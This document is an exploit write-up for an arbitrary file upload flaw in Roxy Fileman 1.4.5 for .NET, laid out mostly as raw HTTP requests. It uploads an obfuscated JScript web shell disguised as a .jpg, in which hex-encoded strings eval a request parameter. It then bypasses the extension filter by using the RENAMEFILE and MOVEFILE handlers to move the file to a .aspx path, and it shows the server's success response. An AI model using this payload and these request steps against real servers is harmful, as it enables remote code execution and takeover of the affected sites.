# Exploit Title: Roxy Fileman 1.4.5 For .NET Arbitrary File Upload
# Date: 09/04/2023
# Exploit Author: Zer0FauLT [admindeepsec@proton.me]
# Vendor Homepage: roxyfileman.com
# Software Link: https://web.archive.org/web/20190317053437/http://roxyfileman.com/download.php?f=1.4.5-net
# Version: <= 1.4.5
# Tested on: Windows 10 and Windows Server 2019
# CVE : 0DAY
##########################################################################################
# First, we upload the .jpg shell file to the server. #
##########################################################################################
POST /admin/fileman/asp_net/main.ashx?a=UPLOAD HTTP/2
Host: pentest.com
Cookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTest
Content-Length: 666
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygOxjsc2hpmwmISeJ
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://pentest.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://pentest.com/admin/fileman/index.aspx
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
------WebKitFormBoundarygOxjsc2hpmwmISeJ
Content-Disposition: form-data; name="action"
upload
------WebKitFormBoundarygOxjsc2hpmwmISeJ
Content-Disposition: form-data; name="method"
ajax
------WebKitFormBoundarygOxjsc2hpmwmISeJ
Content-Disposition: form-data; name="d"
/Upload/PenTest
------WebKitFormBoundarygOxjsc2hpmwmISeJ
Content-Disposition: form-data; name="files[]"; filename="test.jpg"
Content-Type: image/jpeg
‰PNG
<%@PAGE LANGUAGE=JSCRIPT EnableTheming = "False" StylesheetTheme="" Theme="" %>
<%var PAY:String=
Request["\x61\x62\x63\x64"];eval
(PAY,"\x75\x6E\x73\x61"+
"\x66\x65");%>
------WebKitFormBoundarygOxjsc2hpmwmISeJ--
##########################################################################################
# In the second stage, we manipulate the .jpg file that we uploaded to the server. #
##########################################################################################
{
"FILES_ROOT": "",
"RETURN_URL_PREFIX": "",
"SESSION_PATH_KEY": "",
"THUMBS_VIEW_WIDTH": "140",
"THUMBS_VIEW_HEIGHT": "120",
"PREVIEW_THUMB_WIDTH": "300",
"PREVIEW_THUMB_HEIGHT":"200",
"MAX_IMAGE_WIDTH": "1000",
"MAX_IMAGE_HEIGHT": "1000",
"INTEGRATION": "ckeditor",
"DIRLIST": "asp_net/main.ashx?a=DIRLIST",
"CREATEDIR": "asp_net/main.ashx?a=CREATEDIR",
"DELETEDIR": "asp_net/main.ashx?a=DELETEDIR",
"MOVEDIR": "asp_net/main.ashx?a=MOVEDIR",
"COPYDIR": "asp_net/main.ashx?a=COPYDIR",
"RENAMEDIR": "asp_net/main.ashx?a=RENAMEDIR",
"FILESLIST": "asp_net/main.ashx?a=FILESLIST",
"UPLOAD": "asp_net/main.ashx?a=UPLOAD",
"DOWNLOAD": "asp_net/main.ashx?a=DOWNLOAD",
"DOWNLOADDIR": "asp_net/main.ashx?a=DOWNLOADDIR",
"DELETEFILE": "asp_net/main.ashx?a=DELETEFILE",
"MOVEFILE": "asp_net/main.ashx?a=MOVEFILE",
"COPYFILE": "asp_net/main.ashx?a=COPYFILE",
"RENAMEFILE": "asp_net/main.ashx?a=RENAMEFILE",
"GENERATETHUMB": "asp_net/main.ashx?a=GENERATETHUMB",
"DEFAULTVIEW": "list",
"FORBIDDEN_UPLOADS": "zip js jsp jsb mhtml mht xhtml xht php phtml php3 php4 php5 phps shtml jhtml pl sh py cgi exe application gadget hta cpl msc jar vb jse ws wsf wsc wsh ps1 ps2 psc1 psc2 msh msh1 msh2 inf reg scf msp scr dll msi vbs bat com pif cmd vxd cpl htpasswd htaccess",
"ALLOWED_UPLOADS": "bmp gif png jpg jpeg",
"FILEPERMISSIONS": "0644",
"DIRPERMISSIONS": "0755",
"LANG": "auto",
"DATEFORMAT": "dd/MM/yyyy HH:mm",
"OPEN_LAST_DIR": "yes"
}
############################################################################################################################################################################################################################
# We say change the file name and we change the relevant "asp_net/main.ashx?a=RENAMEFILE" parameter with the "asp_net/main.ashx?a=MOVEFILE" parameter and manipulate the paths to be moved on the server as follows. #
############################################################################################################################################################################################################################
POST /admin/fileman/asp_net/main.ashx?a=RENAMEFILE&f=%2FUpload%2FPenTest%2Ftest.jpg&n=test.aspx HTTP/2
Host: pentest.com
Cookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTest
Content-Length: 44
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://pentest.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://pentest.com/admin/fileman/index.aspx
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
f=%2FUpload%2FPenTest%2Ftest.jpg&n=test.aspx
===========================================================================================================================================================================================================================
POST /admin/fileman/asp_net/main.ashx?a=MOVEFILE&f=%2FUpload%2FPenTest%2Ftest.jpg&n=%2FUpload%2FNewFolder%2Ftest.aspx HTTP/2
Host: pentest.com
Cookie: Customer=Id=bkLCsV0Qr6mLH0+CgfcP0w==&Data=/2EMzCCeHGKADtgbKxqVyPZUIM25GBCMMU+Dlc7p8eRUNvoRLZaKEsUclgMRooB3akJsVikb4hTNNkDeE1Dr4Q==; roxyview=list; roxyld=%2FUpload%2FPenTest
Content-Length: 68
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://pentest.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://pentest.com/admin/fileman/index.aspx
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
f=%2FUpload%2FPenTest%2Ftest.jpg&n=%2FUpload%2FNewFolder%2Ftest.aspx
##########################################################################################
# and it's done! #
##########################################################################################
HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/10.0
X-Aspnet-Version: 4.0.30319
X-Powered-By-Plesk: PleskWin
Date: Sun, 09 Apr 2023 09:49:34 GMT
Content-Length: 21
{"res":"ok","msg":""}
=============================================================================================